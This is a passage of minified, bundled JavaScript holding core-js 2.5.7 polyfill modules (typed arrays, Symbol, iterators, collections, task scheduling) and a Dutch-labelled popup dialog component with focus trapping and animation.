t) throw B(Te); - l = _ - s; - if (l < 0) throw B(Te) - } else { - l = p(r) * t; - if (l + s > _) throw B(Te) - } - f = l / t - } else if (ke in i) { - return Ae(m, i) - } else { - return je.call(m, i) - } - c(e, "_d", { - b: o, - o: s, - l: l, - e: f, - v: new Q(o) - }); - while (a < f) D(e, a++) - }); - k = m[X] = L(Ve); - c(k, "constructor", m) - } else if (!a(function () { - m(1) - }) || !a(function () { - new m(-1) - }) || !j(function (e) { - new m; - new m(null); - new m(1.5); - new m(e) - }, true)) { - m = i(function (e, i, n, r) { - d(e, m, u); - var a; - if (!w(i)) return new _(v(i)); - if (i instanceof K || (a = b(i)) == V || a == G) { - return r !== undefined ? new _(i, De(n, t), r) : n !== undefined ? new _(i, De(n, t)) : new _(i) - } - if (ke in i) return Ae(m, i); - return je.call(m, i) - }); - Z(g !== Function.prototype ? x(_).concat(x(g)) : x(_), function (e) { - if (!(e in m)) c(m, e, _[e]) - }); - m[X] = k; - if (!n) k.constructor = m - } - var E = k[ge]; - var C = !!E && (E.name == "values" || E.name == undefined); - var P = We.values; - c(m, be, true); - c(k, ke, u); - c(k, Le, true); - c(k, we, m); - if (l ? new m(1)[ye] != u : !(ye in k)) { - N(k, ye, { - get: function () { - return u - } - }) - } - M[u] = m; - s(s.G + s.W + s.F * (m != _), M); - s(s.S, u, { - BYTES_PER_ELEMENT: t - }); - s(s.S + s.F * a(function () { - _.of.call(m, 1) - }), u, { - from: je, - of: He - }); - if (!(U in k)) c(k, U, t); - s(s.P, u, ze); - H(u); - s(s.P + s.F * Ye, u, { - set: Ne - }); - s(s.P + s.F * !C, u, We); - if (!n && k.toString != ve) k.toString = ve; - s(s.P + s.F * a(function () { - new m(1).slice() - }), u, { - slice: Re - }); - s(s.P + s.F * (a(function () { - return [1, 2].toLocaleString() != new m([1, 2]).toLocaleString() - }) || !a(function () { - k.toLocaleString.call([1, 2]) - })), u, { - toLocaleString: Fe - }); - O[u] = C ? E : P; - if (!n && !C) c(k, ge, P) - } - } else e.exports = function () {} - }, function (e, t, i) { - var n = i(67); - var r = i(37); - var a = i(22); - var s = i(63); - var o = i(20); - var l = i(127); - var u = Object.getOwnPropertyDescriptor; - t.f = i(18) ? u : function e(t, i) { - t = a(t); - i = s(i, true); - if (l) try { - return u(t, i) - } catch (e) {} - if (o(t, i)) return r(!n.f.call(t, i), t[i]) - } - }, function (e, t) { - var i = e.exports = typeof window != "undefined" && window.Math == Math ? window : typeof self != "undefined" && self.Math == Math ? self : Function("return this")(); - if (typeof __g == "number") __g = i - }, function (e, t, i) { - var n = i(45); - var r = i(120); - var a = i(83); - var s = Object.defineProperty; - t.f = i(34) ? Object.defineProperty : function e(t, i, o) { - n(t); - i = a(i, true); - n(o); - if (r) try { - return s(t, i, o) - } catch (e) {} - if ("get" in o || "set" in o) throw TypeError("Accessors not supported!"); - if ("value" in o) t[i] = o.value; - return t - } - }, function (e, t, i) { - var n = i(124); - var r = i(81); - e.exports = function (e) { - return n(r(e)) - } - }, function (e, t, i) { - var n = i(9); - var r = i(19); - var a = i(20); - var s = i(38)("src"); - var o = "toString"; - var l = Function[o]; - var u = ("" + l).split(o); - i(36).inspectSource = function (e) { - return l.call(e) - }; - (e.exports = function (e, t, i, o) { - var l = typeof i == "function"; - if (l) a(i, "name") || r(i, "name", t); - if (e[t] === i) return; - if (l) a(i, s) || r(i, s, e[t] ? "" + e[t] : u.join(String(t))); - if (e === n) { - e[t] = i - } else if (!o) { - delete e[t]; - r(e, t, i) - } else if (e[t]) { - e[t] = i - } else { - r(e, t, i) - } - })(Function.prototype, o, function e() { - return typeof this == "function" && this[s] || l.call(this) - }) - }, function (e, t, i) { - var n = i(38)("meta"); - var r = i(8); - var a = i(20); - var s = i(16).f; - var o = 0; - var l = Object.isExtensible || function () { - return true - }; - var u = !i(12)(function () { - return l(Object.preventExtensions({})) - }); - var d = function (e) { - s(e, n, { - value: { - i: "O" + ++o, - w: {} - } - }) - }; - var f = function (e, t) { - if (!r(e)) return typeof e == "symbol" ? e : (typeof e == "string" ? "S" : "P") + e; - if (!a(e, n)) { - if (!l(e)) return "F"; - if (!t) return "E"; - d(e) - } - return e[n].i - }; - var c = function (e, t) { - if (!a(e, n)) { - if (!l(e)) return true; - if (!t) return false; - d(e) - } - return e[n].w - }; - var h = function (e) { - if (u && m.NEED && l(e) && !a(e, n)) d(e); - return e - }; - var m = e.exports = { - KEY: n, - NEED: false, - fastKey: f, - getWeak: c, - onFreeze: h - } - }, function (e, t, i) { - e.exports = !i(47)(function () { - return Object.defineProperty({}, "a", { - get: function () { - return 7 - } - }).a != 7 - }) - }, function (e, t) { - var i = {}.hasOwnProperty; - e.exports = function (e, t) { - return i.call(e, t) - } - }, function (e, t) { - var i = e.exports = { - version: "2.5.7" - }; - if (typeof __e == "number") __e = i - }, function (e, t) { - e.exports = function (e, t) { - return { - enumerable: !(e & 1), - configurable: !(e & 2), - writable: !(e & 4), - value: t - } - } - }, function (e, t) { - var i = 0; - var n = Math.random(); - e.exports = function (e) { - return "Symbol(".concat(e === undefined ? "" : e, ")_", (++i + n).toString(36)) - } - }, function (e, t) { - e.exports = function (e) { - if (typeof e != "function") throw TypeError(e + " is not a function!"); - return e - } - }, function (e, t) { - e.exports = false - }, function (e, t) { - var i = Math.ceil; - var n = Math.floor; - e.exports = function (e) { - return isNaN(e = +e) ? 0 : (e > 0 ? n : i)(e) - } - }, function (e, t) { - e.exports = function (e) { - if (e == undefined) throw TypeError("Can't call method on " + e); - return e - } - }, function (e, t, i) { - var n = i(130); - var r = i(96); - e.exports = Object.keys || function e(t) { - return n(t, r) - } - }, function (e, t, i) { - var n = i(30); - var r = i(60); - e.exports = i(34) ? function (e, t, i) { - return n.f(e, t, r(1, i)) - } : function (e, t, i) { - e[t] = i; - return e - } - }, function (e, t, i) { - var n = i(46); - e.exports = function (e) { - if (!n(e)) throw TypeError(e + " is not an object!"); - return e - } - }, function (e, t) { - e.exports = function (e) { - return typeof e === "object" ? e !== null : typeof e === "function" - } - }, function (e, t) { - e.exports = function (e) { - try { - return !!e() - } catch (e) { - return true - } - } - }, function (e, t, i) { - var n = i(123); - var r = i(88); - e.exports = Object.keys || function e(t) { - return n(t, r) - } - }, function (e, t, i) { - var n = i(32); - e.exports = function (e, t, i) { - for (var r in t) n(e, r, t[r], i); - return e - } - }, function (e, t) { - e.exports = function (e, t, i, n) { - if (!(e instanceof t) || n !== undefined && n in e) { - throw TypeError(i + ": incorrect invocation!") - } - return e - } - }, function (e, t) { - var i = {}.toString; - e.exports = function (e) { - return i.call(e).slice(8, -1) - } - }, function (e, t, i) { - var n = i(41); - var r = Math.max; - var a = Math.min; - e.exports = function (e, t) { - e = n(e); - return e < 0 ? r(e + t, 0) : a(e, t) - } - }, function (e, t, i) { - var n = i(16).f; - var r = i(20); - var a = i(11)("toStringTag"); - e.exports = function (e, t, i) { - if (e && !r(e = i ? e : e.prototype, a)) n(e, a, { - configurable: true, - value: t - }) - } - }, function (e, t) { - e.exports = {} - }, function (e, t, i) { - var n = i(20); - var r = i(26); - var a = i(94)("IE_PROTO"); - var s = Object.prototype; - e.exports = Object.getPrototypeOf || function (e) { - e = r(e); - if (n(e, a)) return e[a]; - if (typeof e.constructor == "function" && e instanceof e.constructor) { - return e.constructor.prototype - } - return e instanceof Object ? s : null - } - }, function (e, t, i) { - var n = i(11)("unscopables"); - var r = Array.prototype; - if (r[n] == undefined) i(19)(r, n, {}); - e.exports = function (e) { - r[n][e] = true - } - }, function (e, t, i) { - var n = i(8); - e.exports = function (e, t) { - if (!n(e) || e._t !== t) throw TypeError("Incompatible receiver, " + t + " required!"); - return e - } - }, function (e, t, i) { - e.exports = { - default: i(392), - __esModule: true - } - }, function (e, t, i) { - "use strict"; - t.__esModule = true; - var n = i(395); - var r = l(n); - var a = i(401); - var s = l(a); - var o = typeof s.default === "function" && typeof r.default === "symbol" ? function (e) { - return typeof e - } : function (e) { - return e && typeof s.default === "function" && e.constructor === s.default && e !== s.default.prototype ? "symbol" : typeof e - }; - - function l(e) { - return e && e.__esModule ? e : { - default: e - } - } - t.default = typeof s.default === "function" && o(r.default) === "symbol" ? function (e) { - return typeof e === "undefined" ? "undefined" : o(e) - } : function (e) { - return e && typeof s.default === "function" && e.constructor === s.default && e !== s.default.prototype ? "symbol" : typeof e === "undefined" ? "undefined" : o(e) - } - }, function (e, t) { - e.exports = function (e, t) { - return { - enumerable: !(e & 1), - configurable: !(e & 2), - writable: !(e & 4), - value: t - } - } - }, function (e, t) { - e.exports = {} - }, function (e, t, i) { - var n = i(81); - e.exports = function (e) { - return Object(n(e)) - } - }, function (e, t, i) { - var n = i(8); - e.exports = function (e, t) { - if (!n(e)) return e; - var i, r; - if (t && typeof (i = e.toString) == "function" && !n(r = i.call(e))) return r; - if (typeof (i = e.valueOf) == "function" && !n(r = i.call(e))) return r; - if (!t && typeof (i = e.toString) == "function" && !n(r = i.call(e))) return r; - throw TypeError("Can't convert object to primitive value") - } - }, function (e, t, i) { - var n = i(130); - var r = i(96).concat("length", "prototype"); - t.f = Object.getOwnPropertyNames || function e(t) { - return n(t, r) - } - }, function (e, t, i) { - var n = i(10); - var r = i(276); - var a = i(96); - var s = i(94)("IE_PROTO"); - var o = function () {}; - var l = "prototype"; - var u = function () { - var e = i(90)("iframe"); - var t = a.length; - var n = "<"; - var r = ">"; - var s; - e.style.display = "none"; - i(131).appendChild(e); - e.src = "javascript:"; - s = e.contentWindow.document; - s.open(); - s.write(n + "script" + r + "document.F=Object" + n + "/script" + r); - s.close(); - u = s.F; - while (t--) delete u[l][a[t]]; - return u() - }; - e.exports = Object.create || function e(t, i) { - var a; - if (t !== null) { - o[l] = n(t); - a = new o; - o[l] = null; - a[s] = t - } else a = u(); - return i === undefined ? a : r(a, i) - } - }, function (e, t, i) { - var n = i(25); - var r = i(92); - var a = i(26); - var s = i(17); - var o = i(277); - e.exports = function (e, t) { - var i = e == 1; - var l = e == 2; - var u = e == 3; - var d = e == 4; - var f = e == 6; - var c = e == 5 || f; - var h = t || o; - return function (t, o, m) { - var p = a(t); - var v = r(p); - var _ = n(o, m, 3); - var g = s(v.length); - var y = 0; - var b = i ? h(t, g) : l ? h(t, 0) : undefined; - var w, M; - for (; g > y; y++) - if (c || y in v) { - w = v[y]; - M = _(w, y, p); - if (e) { - if (i) b[y] = M; - else if (M) switch (e) { - case 3: - return true; - case 5: - return w; - case 6: - return y; - case 2: - b.push(w) - } else if (d) return false - } - } - return f ? -1 : u || d ? d : b - } - } - }, function (e, t) { - t.f = {}.propertyIsEnumerable - }, function (e, t) { - t.f = {}.propertyIsEnumerable - }, function (e, t) { - e.exports = n - }, function (e, t) { - e.exports = true - }, function (e, t) { - var i = 0; - var n = Math.random(); - e.exports = function (e) { - return "Symbol(".concat(e === undefined ? "" : e, ")_", (++i + n).toString(36)) - } - }, function (e, t, i) { - "use strict"; - var n = i(9); - var r = i(16); - var a = i(18); - var s = i(11)("species"); - e.exports = function (e) { - var t = n[e]; - if (a && t && !t[s]) r.f(t, s, { - configurable: true, - get: function () { - return this - } - }) - } - }, function (e, t, i) { - var n = i(11)("iterator"); - var r = false; - try { - var a = [7][n](); - a["return"] = function () { - r = true - }; - Array.from(a, function () { - throw 2 - }) - } catch (e) {} - e.exports = function (e, t) { - if (!t && !r) return false; - var i = false; - try { - var a = [7]; - var s = a[n](); - s.next = function () { - return { - done: i = true - } - }; - a[n] = function () { - return s - }; - e(a) - } catch (e) {} - return i - } - }, function (e, t, i) { - var n = i(25); - var r = i(137); - var a = i(100); - var s = i(10); - var o = i(17); - var l = i(101); - var u = {}; - var d = {}; - var t = e.exports = function (e, t, i, f, c) { - var h = c ? function () { - return e - } : l(e); - var m = n(i, f, t ? 2 : 1); - var p = 0; - var v, _, g, y; - if (typeof h != "function") throw TypeError(e + " is not iterable!"); - if (a(h)) - for (v = o(e.length); v > p; p++) { - y = t ? m(s(_ = e[p])[0], _[1]) : m(e[p]); - if (y === u || y === d) return y - } else - for (g = h.call(e); !(_ = g.next()).done;) { - y = r(g, m, _.value, t); - if (y === u || y === d) return y - } - }; - t.BREAK = u; - t.RETURN = d - }, function (e, t, i) { - "use strict"; - var n = i(9); - var r = i(0); - var a = i(32); - var s = i(49); - var o = i(33); - var l = i(74); - var u = i(50); - var d = i(8); - var f = i(12); - var c = i(73); - var h = i(53); - var m = i(289); - e.exports = function (e, t, i, p, v, _) { - var g = n[e]; - var y = g; - var b = v ? "set" : "add"; - var w = y && y.prototype; - var M = {}; - var k = function (e) { - var t = w[e]; - a(w, e, e == "delete" ? function (e) { - return _ && !d(e) ? false : t.call(this, e === 0 ? 0 : e) - } : e == "has" ? function e(i) { - return _ && !d(i) ? false : t.call(this, i === 0 ? 0 : i) - } : e == "get" ? function e(i) { - return _ && !d(i) ? undefined : t.call(this, i === 0 ? 0 : i) - } : e == "add" ? function e(i) { - t.call(this, i === 0 ? 0 : i); - return this - } : function e(i, n) { - t.call(this, i === 0 ? 0 : i, n); - return this - }) - }; - if (typeof y != "function" || !(_ || w.forEach && !f(function () { - (new y).entries().next() - }))) { - y = p.getConstructor(t, e, v, b); - s(y.prototype, i); - o.NEED = true - } else { - var L = new y; - var T = L[b](_ ? {} : -0, 1) != L; - var x = f(function () { - L.has(1) - }); - var S = c(function (e) { - new y(e) - }); - var Y = !_ && f(function () { - var e = new y; - var t = 5; - while (t--) e[b](t, t); - return !e.has(-0) - }); - if (!S) { - y = t(function (t, i) { - u(t, y, e); - var n = m(new g, t, y); - if (i != undefined) l(i, v, n[b], n); - return n - }); - y.prototype = w; - w.constructor = y - } - if (x || Y) { - k("delete"); - k("has"); - v && k("get") - } - if (Y || T) k(b); - if (_ && w.clear) delete w.clear - } - h(y, e); - M[e] = y; - r(r.G + r.W + r.F * (y != g), M); - if (!_) p.setStrong(y, e, v); - return y - } - }, function (e, t) { - t.f = Object.getOwnPropertySymbols - }, function (e, t, i) { - var n = i(9); - var r = n.navigator; - e.exports = r && r.userAgent || "" - }, function (e, t, i) { - "use strict"; - var n = i(19); - var r = i(32); - var a = i(12); - var s = i(42); - var o = i(11); - e.exports = function (e, t, i) { - var l = o(e); - var u = i(s, l, "" [e]); - var d = u[0]; - var f = u[1]; - if (a(function () { - var t = {}; - t[l] = function () { - return 7 - }; - return "" [e](t) != 7 - })) { - r(String.prototype, e, d); - n(RegExp.prototype, l, t == 2 ? function (e, t) { - return f.call(e, this, t) - } : function (e) { - return f.call(e, this) - }) - } - } - }, function (e, t) { - var i; - i = function () { - return this - }(); - try { - i = i || Function("return this")() || (1, eval)("this") - } catch (e) { - if (typeof window === "object") i = window - } - e.exports = i - }, function (e, t) { - var i = Math.ceil; - var n = Math.floor; - e.exports = function (e) { - return isNaN(e = +e) ? 0 : (e > 0 ? n : i)(e) - } - }, function (e, t) { - e.exports = function (e) { - if (e == undefined) throw TypeError("Can't call method on " + e); - return e - } - }, function (e, t, i) { - var n = i(261); - e.exports = function (e, t, i) { - n(e); - if (t === undefined) return e; - switch (i) { - case 1: - return function (i) { - return e.call(t, i) - }; - case 2: - return function (i, n) { - return e.call(t, i, n) - }; - case 3: - return function (i, n, r) { - return e.call(t, i, n, r) - } - } - return function () { - return e.apply(t, arguments) - } - } - }, function (e, t, i) { - var n = i(46); - e.exports = function (e, t) { - if (!n(e)) return e; - var i, r; - if (t && typeof (i = e.toString) == "function" && !n(r = i.call(e))) return r; - if (typeof (i = e.valueOf) == "function" && !n(r = i.call(e))) return r; - if (!t && typeof (i = e.toString) == "function" && !n(r = i.call(e))) return r; - throw TypeError("Can't convert object to primitive value") - } - }, function (e, t, i) { - var n = i(45); - var r = i(263); - var a = i(88); - var s = i(86)("IE_PROTO"); - var o = function () {}; - var l = "prototype"; - var u = function () { - var e = i(121)("iframe"); - var t = a.length; - var n = "<"; - var r = ">"; - var s; - e.style.display = "none"; - i(266).appendChild(e); - e.src = "javascript:"; - s = e.contentWindow.document; - s.open(); - s.write(n + "script" + r + "document.F=Object" + n + "/script" + r); - s.close(); - u = s.F; - while (t--) delete u[l][a[t]]; - return u() - }; - e.exports = Object.create || function e(t, i) { - var a; - if (t !== null) { - o[l] = n(t); - a = new o; - o[l] = null; - a[s] = t - } else a = u(); - return i === undefined ? a : r(a, i) - } - }, function (e, t) { - var i = {}.toString; - e.exports = function (e) { - return i.call(e).slice(8, -1) - } - }, function (e, t, i) { - var n = i(87)("keys"); - var r = i(71); - e.exports = function (e) { - return n[e] || (n[e] = r(e)) - } - }, function (e, t, i) { - var n = i(14); - var r = i(29); - var a = "__core-js_shared__"; - var s = r[a] || (r[a] = {}); - (e.exports = function (e, t) { - return s[e] || (s[e] = t !== undefined ? t : {}) - })("versions", []).push({ - version: n.version, - mode: i(70) ? "pure" : "global", - copyright: "© 2018 Denis Pushkarev (zloirock.ru)" - }) - }, function (e, t) { - e.exports = "constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf".split(",") - }, function (e, t, i) { - var n = i(30).f; - var r = i(35); - var a = i(21)("toStringTag"); - e.exports = function (e, t, i) { - if (e && !r(e = i ? e : e.prototype, a)) n(e, a, { - configurable: true, - value: t - }) - } - }, function (e, t, i) { - var n = i(8); - var r = i(9).document; - var a = n(r) && n(r.createElement); - e.exports = function (e) { - return a ? r.createElement(e) : {} - } - }, function (e, t, i) { - var n = i(9); - var r = i(19); - var a = i(38); - var s = a("typed_array"); - var o = a("view"); - var l = !!(n.ArrayBuffer && n.DataView); - var u = l; - var d = 0; - var f = 9; - var c; - var h = "Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array".split(","); - while (d < f) { - if (c = n[h[d++]]) { - r(c.prototype, s, true); - r(c.prototype, o, true) - } else u = false - } - e.exports = { - ABV: l, - CONSTR: u, - TYPED: s, - VIEW: o - } - }, function (e, t, i) { - var n = i(51); - e.exports = Object("z").propertyIsEnumerable(0) ? Object : function (e) { - return n(e) == "String" ? e.split("") : Object(e) - } - }, function (e, t, i) { - var n = i(22); - var r = i(17); - var a = i(52); - e.exports = function (e) { - return function (t, i, s) { - var o = n(t); - var l = r(o.length); - var u = a(s, l); - var d; - if (e && i != i) - while (l > u) { - d = o[u++]; - if (d != d) return true - } else - for (; l > u; u++) - if (e || u in o) { - if (o[u] === i) return e || u || 0 - } - return !e && -1 - } - } - }, function (e, t, i) { - var n = i(95)("keys"); - var r = i(38); - e.exports = function (e) { - return n[e] || (n[e] = r(e)) - } - }, function (e, t, i) { - var n = i(36); - var r = i(9); - var a = "__core-js_shared__"; - var s = r[a] || (r[a] = {}); - (e.exports = function (e, t) { - return s[e] || (s[e] = t !== undefined ? t : {}) - })("versions", []).push({ - version: n.version, - mode: i(40) ? "pure" : "global", - copyright: "© 2018 Denis Pushkarev (zloirock.ru)" - }) - }, function (e, t) { - e.exports = "constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf".split(",") - }, function (e, t, i) { - "use strict"; - var n = i(26); - var r = i(52); - var a = i(17); - e.exports = function e(t) { - var i = n(this); - var s = a(i.length); - var o = arguments.length; - var l = r(o > 1 ? arguments[1] : undefined, s); - var u = o > 2 ? arguments[2] : undefined; - var d = u === undefined ? s : r(u, s); - while (d > l) i[l++] = t; - return i - } - }, function (e, t, i) { - var n = i(10); - var r = i(39); - var a = i(11)("species"); - e.exports = function (e, t) { - var i = n(e).constructor; - var s; - return i === undefined || (s = n(i)[a]) == undefined ? t : r(s) - } - }, function (e, t, i) { - var n = i(51); - var r = i(11)("toStringTag"); - var a = n(function () { - return arguments - }()) == "Arguments"; - var s = function (e, t) { - try { - return e[t] - } catch (e) {} - }; - e.exports = function (e) { - var t, i, o; - return e === undefined ? "Undefined" : e === null ? "Null" : typeof (i = s(t = Object(e), r)) == "string" ? i : a ? n(t) : (o = n(t)) == "Object" && typeof t.callee == "function" ? "Arguments" : o - } - }, function (e, t, i) { - var n = i(54); - var r = i(11)("iterator"); - var a = Array.prototype; - e.exports = function (e) { - return e !== undefined && (n.Array === e || a[r] === e) - } - }, function (e, t, i) { - var n = i(99); - var r = i(11)("iterator"); - var a = i(54); - e.exports = i(36).getIteratorMethod = function (e) { - if (e != undefined) return e[r] || e["@@iterator"] || a[n(e)] - } - }, function (e, t, i) { - "use strict"; - var n = i(56); - var r = i(133); - var a = i(54); - var s = i(22); - e.exports = i(134)(Array, "Array", function (e, t) { - this._t = s(e); - this._i = 0; - this._k = t - }, function () { - var e = this._t; - var t = this._k; - var i = this._i++; - if (!e || i >= e.length) { - this._t = undefined; - return r(1) - } - if (t == "keys") return r(0, i); - if (t == "values") return r(0, e[i]); - return r(0, [i, e[i]]) - }, "values"); - a.Arguments = a.Array; - n("keys"); - n("values"); - n("entries") - }, function (e, t, i) { - var n = i(8); - var r = i(10); - var a = function (e, t) { - r(e); - if (!n(t) && t !== null) throw TypeError(t + ": can't set as prototype!") - }; - e.exports = { - set: Object.setPrototypeOf || ("__proto__" in {} ? function (e, t, n) { - try { - n = i(25)(Function.call, i(28).f(Object.prototype, "__proto__").set, 2); - n(e, []); - t = !(e instanceof Array) - } catch (e) { - t = true - } - return function e(i, r) { - a(i, r); - if (t) i.__proto__ = r; - else n(i, r); - return i - } - }({}, false) : undefined), - check: a - } - }, function (e, t, i) { - var n = i(25); - var r = i(140); - var a = i(131); - var s = i(90); - var o = i(9); - var l = o.process; - var u = o.setImmediate; - var d = o.clearImmediate; - var f = o.MessageChannel; - var c = o.Dispatch; - var h = 0; - var m = {}; - var p = "onreadystatechange"; - var v, _, g; - var y = function () { - var e = +this; - if (m.hasOwnProperty(e)) { - var t = m[e]; - delete m[e]; - t() - } - }; - var b = function (e) { - y.call(e.data) - }; - if (!u || !d) { - u = function e(t) { - var i = []; - var n = 1; - while (arguments.length > n) i.push(arguments[n++]); - m[++h] = function () { - r(typeof t == "function" ? t : Function(t), i) - }; - v(h); - return h - }; - d = function e(t) { - delete m[t] - }; - if (i(51)(l) == "process") { - v = function (e) { - l.nextTick(n(y, e, 1)) - } - } else if (c && c.now) { - v = function (e) { - c.now(n(y, e, 1)) - } - } else if (f) { - _ = new f; - g = _.port2; - _.port1.onmessage = b; - v = n(g.postMessage, g, 1) - } else if (o.addEventListener && typeof postMessage == "function" && !o.importScripts) { - v = function (e) { - o.postMessage(e + "", "*") - }; - o.addEventListener("message", b, false) - } else if (p in s("script")) { - v = function (e) { - a.appendChild(s("script"))[p] = function () { - a.removeChild(this); - y.call(e) - } - } - } else { - v = function (e) { - setTimeout(n(y, e, 1), 0) - } - } - } - e.exports = { - set: u, - clear: d - } - }, function (e, t, i) { - var n = i(146); - var r = i(42); - e.exports = function (e, t, i) { - if (n(t)) throw TypeError("String#" + i + " doesn't accept regex!"); - return String(r(e)) - } - }, function (e, t, i) { - var n = i(11)("match"); - e.exports = function (e) { - var t = /./; - try { - "/./" [e](t) - } catch (i) { - try { - t[n] = false; - return !"/./" [e](t) - } catch (e) {} - } - return true - } - }, function (e, t, i) { - "use strict"; - var n = i(16); - var r = i(37); - e.exports = function (e, t, i) { - if (t in e) n.f(e, t, r(0, i)); - else e[t] = i - } - }, function (e, t) { - e.exports = Math.sign || function e(t) { - return (t = +t) == 0 || t != t ? t : t < 0 ? -1 : 1 - } - }, function (e, t) { - var i = Math.expm1; - e.exports = !i || i(10) > 22025.465794806718 || i(10) < 22025.465794806718 || i(-2e-17) != -2e-17 ? function e(t) { - return (t = +t) == 0 ? t : t > -1e-6 && t < 1e-6 ? t + t * t / 2 : Math.exp(t) - 1 - } : i - }, function (e, t) { - t.f = Object.getOwnPropertySymbols - }, function (e, t, i) { - t.f = i(21) - }, function (e, t, i) { - var n = i(29); - var r = i(14); - var a = i(70); - var s = i(111); - var o = i(30).f; - e.exports = function (e) { - var t = r.Symbol || (r.Symbol = a ? {} : n.Symbol || {}); - if (e.charAt(0) != "_" && !(e in t)) o(t, e, { - value: s.f(e) - }) - } - }, function (e, t, i) { - var n = i(68); - var r = i(60); - var a = i(31); - var s = i(83); - var o = i(35); - var l = i(120); - var u = Object.getOwnPropertyDescriptor; - t.f = i(34) ? u : function e(t, i) { - t = a(t); - i = s(i, true); - if (l) try { - return u(t, i) - } catch (e) {} - if (o(t, i)) return r(!n.f.call(t, i), t[i]) - } - }, function (e, t, i) { - "use strict"; - t.__esModule = true; - var n = i(58); - var r = a(n); - - function a(e) { - return e && e.__esModule ? e : { - default: e - } - } - t.default = r.default || function (e) { - for (var t = 1; t < arguments.length; t++) { - var i = arguments[t]; - for (var n in i) { - if (Object.prototype.hasOwnProperty.call(i, n)) { - e[n] = i[n] - } - } - } - return e - } - }, function (e, t, i) { - var n = i(24); - var r = i(14); - var a = i(47); - e.exports = function (e, t) { - var i = (r.Object || {})[e] || Object[e]; - var s = {}; - s[e] = t(i); - n(n.S + n.F * a(function () { - i(1) - }), "Object", s) - } - }, function (e, t) { - e.exports = s - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = v(n); - var a = i(1); - var s = v(a); - var o = i(6); - var l = v(o); - var u = i(4); - var d = v(u); - var f = i(5); - var c = v(f); - var h = i(7); - var m = i(2); - var p = i(15); - - function v(e) { - return e && e.__esModule ? e : { - default: e - } - } - var _ = function (e) { - (0, c.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.default_settings, i)); - n.lastFocus = n.settings.lastFocus ? n.settings.lastFocus : null; - n.innerContent = e; - n.nextSibling = e.nextSibling; - n.parent = e.parentNode; - n.handleKeyPress = n.handleKeyPress.bind(n); - var a = n.innerContent.getAttribute("data-label-close"); - if (a) { - n.settings.closeLabel = a - } - return n - }(0, l.default)(t, [{ - key: "handleKeyPress", - value: function e(t) { - t = this.keepFocus(t); - if (t.keyCode === 27) { - this.close() - } - } - }, { - key: "keepFocus", - value: function e(t) { - var i = document.activeElement; - if (!i) { - i = document.body - } - if (!i.nodeName) { - i = document.body - } - var n = this.container === i || this.container.contains(i); - if (!n) { - t.preventDefault(); - this.focusTabbable() - } - return t - } - }, { - key: "focusTabbable", - value: function e() { - this.container.querySelector(".popup__close").focus() - } - }, { - key: "initPopup", - value: function e() { - var t = this; - document.body.appendChild(this.buildWrapper(this.innerContent)); - (0, h.on)(this.container, "click", ".popup__close", function (e) { - e.preventDefault(); - t.close() - }); - var i = document.querySelector(".popup"); - i && i.addEventListener("click", function (e) { - if (e.target.classList.contains("center-y__inner")) { - t.close() - } - }) - } - }, { - key: "buildWrapper", - value: function e() { - var i = this.settings.className ? this.settings.className : ""; - this.wrapper = document.createElement("div"); - this.wrapper.className = "popup " + i; - this.center = document.createElement("div"); - this.center.className = "center-y"; - this.center_inner = document.createElement("div"); - this.center_inner.className = "center-y__inner"; - var n = this.settings.closeLabel ? this.settings.closeLabel : t.default_settings.closeLabel; - this.container = document.createElement("div"); - this.container.className = "popup__container"; - this.container.innerHTML = '\n \n \n '; - this.content = document.createElement("div"); - this.content.className = "popup__content"; - this.content.appendChild(this.innerContent); - this.container.appendChild(this.content); - this.center_inner.appendChild(this.container); - this.center.appendChild(this.center_inner); - this.wrapper.appendChild(this.center); - (0, h.removeClass)(this.innerContent, "hide"); - return this.wrapper - } - }, { - key: "setupAnimation", - value: function e() { - var t = this; - this.tl = new TimelineLite({ - onReverseComplete: function e() { - (0, h.addClass)(t.innerContent, "hide"); - if (t.nextSibling) { - t.parent.insertBefore(t.innerContent, t.nextSibling) - } else { - t.parent.append(t.innerContent) - } - document.body.removeChild(t.wrapper) - } - }); - this.tl.fromTo(this.wrapper, .2, { - opacity: 0 - }, { - opacity: 1 - }); - if ((0, p.getScreenSize)() != "sm") { - this.tl.fromTo(this.container, .2, { - y: 50, - opacity: 0 - }, { - y: 0, - opacity: 1 - }) - } - } - }, { - key: "open", - value: function e() { - this.initPopup(); - this.setupAnimation(); - this.tl.play(); - if (!this.lastFocus) { - this.lastFocus = document.activeElement - } - this.container.querySelector(".popup__close").focus(); - window.addEventListener("keyup", this.handleKeyPress); - document.body.classList.add("popuped"); - if (this.settings.onOpen) { - this.settings.onOpen(this.el) - } - } - }, { - key: "close", - value: function e() { - this.lastFocus.focus(); - window.removeEventListener("keyup", this.handleKeyPress); - document.body.classList.remove("popuped"); - this.tl.reverse(); - if (this.settings.onClose) { - this.settings.onClose(this.el) - } - } - }]); - return t - }(m.Component); - _.default_settings = { - attributes: false, - closeLabel: "Sluiten", - onOpen: function e() {}, - onClose: function e() {} - }; - t.default = _ - }, function (e, t, i) { - "use strict"; - var n = i(260)(true); - i(119)(String, "String", function (e) { - this._t = String(e); - this._i = 0 - }, function () { - var e = this._t; - var t = this._i; - var i; - if (t >= e.length) return { - value: undefined, - done: true - }; - i = n(e, t); - this._i += i.length; - return { - value: i, - done: false - } - }) - }, function (e, t, i) { - "use strict"; - var n = i(70); - var r = i(24); - var a = i(122); - var s = i(44); - var o = i(61); - var l = i(262); - var u = i(89); - var d = i(126); - var f = i(21)("iterator"); - var c = !([].keys && "next" in [].keys()); - var h = "@@iterator"; - var m = "keys"; - var p = "values"; - var v = function () { - return this - }; - e.exports = function (e, t, i, _, g, y, b) { - l(i, t, _); - var w = function (e) { - if (!c && e in T) return T[e]; - switch (e) { - case m: - return function t() { - return new i(this, e) - }; - case p: - return function t() { - return new i(this, e) - } - } - return function t() { - return new i(this, e) - } - }; - var M = t + " Iterator"; - var k = g == p; - var L = false; - var T = e.prototype; - var x = T[f] || T[h] || g && T[g]; - var S = x || w(g); - var Y = g ? !k ? S : w("entries") : undefined; 